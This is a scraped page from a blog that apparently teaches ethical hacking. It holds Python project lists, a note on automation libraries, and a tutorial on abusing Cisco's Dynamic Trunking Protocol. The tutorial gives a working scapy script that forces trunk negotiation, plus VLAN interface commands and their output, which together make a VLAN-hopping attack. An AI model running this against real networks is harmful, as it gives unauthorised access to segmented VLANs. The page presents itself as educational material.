    3. Password authentication using python
    4. Web scrapping to create a dataset
    5. Resume Scanner
    6. Merge sort algorithm
    7. Pick a random card using python
    8. Quartile deviation using python
    9. Count character occurrences
    10. Pyramid pattern using python





    Difficulty Level : Easy(II)

    11. Sequential Search
    12. Swap variables using python
    13. Sorting NumPy Arrays
    14. Validate anagrams
    15. Create tables with python
    16. Recursive binary search
    17. Dijkstra's algorithm using python
    18. Hash tables using python
    19. Queues using python
    20. Validate a binary search tree




    Difficulty Level : Intermediate


    1. Visualize a neural network using python
    2. Bias and variance using python
    3. Get live weather updates using python
    4. Count objects in image using python
    5. Scrape trending news using python
    6. Real-time stock price data visualization using python
    7. OTP verification using python
    8. Choropleth map with python
    9. Egg catcher game
    10. Extract country details




    Difficulty Level : Hard


    1. Convert text to numberical data
    2. AUC and ROC using python
    3. Interactive language translator
    4. Maximum profit finder
    5. Language detection
    6. Histogram and density plots with python
    7. Radar plot with python
    8. Create a chatbot with python
    9. Stopwords removal
    10. Unicode characters removal

     

     

    Disclaimer

     
     
    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

     




  • Python Libraries that can automate your life

     

     

    Python Libraries that can automate your life

     

    Python Libraries that can automate your life


    1) Openpxl

    Automate excel reporting

    Openpyxl is a python library that can help us automate our excel reporting. With openpyxl, we can read an Excel file, write excel formulas, make charts, and format a worksheet using python.


    Installation

    • pip install openpyxl




    2) SMTPLIB


    Email automation

    smtplib is a built-in python module used for sending emails using the Simple Mail Transfer Protocol (SMTP).


    • You dont need to install smtplib or email because thay come with python.




    3) Camelot


    Automate table extraction from

    PDFs

    These tables can be exported into a Pandas dataframe and other formats such as CSV, JSON, Excel, HTML, Markdown, and SQLite.

    Installation

    • pip install "camelot-py[base]"




    4) Requests: Make Your Life Easier With an API


    Automation sometimes involves working with an API. APIs can help you collect real-world data and also simplify the development process of an application.

    To work with an API you need to send requests to a server and then read the responses. The message sent by a client to a server is known as an HTTP request.

    With the Requests library, we can interact with an API by sending HTTP requests and accessing the response data. This library has useful features such as passing parameters in URLs, sending custom headers, form data, and more.
    Installation

    To install Requests, we only need to run the command below in our terminal.
     

    • python -m pip install requests




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



  • Code Your Own DTP Abusing layer 2 protocol

     

    Code Your Own DTP Abusing layer 2 protocol

     

     

    DTP Abusing

    DTP stands for dynamic trunking protocol. This protocol is basically cisco proprietary protocol which is layer 2 protcol that means it once only one cisco devices and it operates are layer 2 OSI Model and this protocol is used to form trunking automatically between two switches and the DTP feature is bydefault enabled on cisco switches.


    So, lets understand about the Mode in DTP -


    actually by default whenever you buy a new switch ports will be dynamically auto or it will be dynamically desirable so lets understand one by one, the dynamic auto.


    Dynamic Auto :- In this mode the switchport  will wait for the neighbor to initiate, order to form trunk. Like the dynamic the ports switch which are in dynamic auto mode they will never initiate to form the trunk, They can form trunk but when the never will initiate. They themselves don't initiate to form the trunk.



    Dynamic Desirable :- In this mode the switchport actively participate to form trunk thats mean if this switch port are current dynamic desirable mode then they will themselves initiate and they will form the trunk. So, along with the trunk in encapsulation will also be negotiated between two swiches so let me show you with the helo of figure that we mentioned below.



    So, here is the port the dynamic switch auto and other one is dynamic auto also so they will exchange the DTP messages but no body will be initiate because both are in dynamic automode , the ports which are in dynamic auto mode they cannot initiate to form the trunk and in this case 

     

    Code Your Own DTP Abusing layer 2 protocol


    The DD will also be send DTP, the DD will also send, so in this case the ports will initiate to form the trunk and when the neighbor will initiate to form the trunk, the DD will also accepted and they will form the trunks, so in this case the trunk will be dynamically from between the two switches.

     

     

    Code Your Own DTP Abusing layer 2 protocol

     



    Here they will exchange the DTP messages and they both will initiate
     


    Code Your Own DTP Abusing layer 2 protocol




    Additional Detail- Let's read
    For short refreshing:

    Ethernet is on Layer 2, IP (Internet Protocol) on Layer 3, TCP (Transport Control Protocol) or UDP on Layer 4–6 and services like HTTP, SMTP,
    FTP on Layer 7.



    Also read -


    Code Your Own ARP Spoofing Over VLAN Hopping - CLICK HERE
    Code your own MAC Flooding Tool - CLICK HERE
    Defend ARP poisoning attacks - CLICK HERE
    Code your own ARP Cache Poisoning - CLICK HERE




    Thanks to the DTP protocol and its property to completely overlook any kind of security we now can send a single Dynamic-Desirable packet to every DTP enabled Cisco device and ask it to change our port into a trunk port.



    Code Your Own DTP Packet


    #!/usr/bin/python3
    
    import sys
    from scapy.layers.l2 import Dot3 , LLC, SNAP
    from scapy.contrib.dtp import *
    
    if len(sys.argv) < 2:
        print(sys.argv[0] + " <dev>")
        sys.exit()
    
    negotiate_trunk(iface=sys.argv[1])
    
    
    
    




    As an optional parameter you can set the MAC address of the spoofed neighbor switch if none is set a random one will be automatically generated.

     

    The attack can last some minutes, but an attacker doesn’t care about the delay, because they know what they get in exchange the possibility to connect to every VLAN!



    • sudo vconfig add eth0 <vlan-id>
    • sudo ifconfig eth0.<vlan-id> <ip_of_vlan> up


    example -

    • vconfig add wlan0 1
    • ifconfig wlan0.1 192.168.13.15 up



    NOTE- <ip_of_vlan> thats mean as per your need or you can any IP with your mind.




    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
    └─$ sudo vconfig add wlan0 1                                                                                                                                                            2 ⚙
    [sudo] password for hackerboy: 
    
    Warning: vconfig is deprecated and might be removed in the future, please migrate to ip(route2) as soon as possible!
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
    └─$ sudo ifconfig wlan0.1 192.168.13.15 up                                                                                                                                              2 ⚙
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
    └─$                                                                                                                                                                                     2 ⚙
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
    └─$ ifconfig                                                                                                                                                                            2 ⚙
    
    wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.21.25  netmask 255.255.255.0  broadcast 192.168.21.255
            inet6 fe80::aa80:f129:e78d:aa96  prefixlen 64  scopeid 0x20<link>
            inet6 2409:4064:195:1000:288e:7e35:5b22:f417  prefixlen 64  scopeid 0x0<global>
            ether fc:01:7c:29:00:77  txqueuelen 1000  (Ethernet)
            RX packets 89316  bytes 69611668 (66.3 MiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 74658  bytes 42465996 (40.4 MiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    wlan0.1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.13.15  netmask 255.255.255.0  broadcast 192.168.13.255
            inet6 fe80::fe01:7cff:fe29:77  prefixlen 64  scopeid 0x20<link>
            ether fc:01:7c:29:00:77  txqueuelen 1000  (Ethernet)
            RX packets 0  bytes 0 (0.0 B)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 6  bytes 516 (516.0 B)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
    └─$                                    
    



    Now we can run program with wlan0.1 interface (see the code above).


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/mymodule]
    └─$ sudo python3 dtp-trunk.py wlan0.1            
    [sudo] password for hackerboy: 
    Trying to negotiate a trunk on interface wlan0.1
    .
    Sent 1 packets.
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/mymodule]
    └─$ 
    
    
    
    


    Code Your Own DTP Abusing layer 2 protocol



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.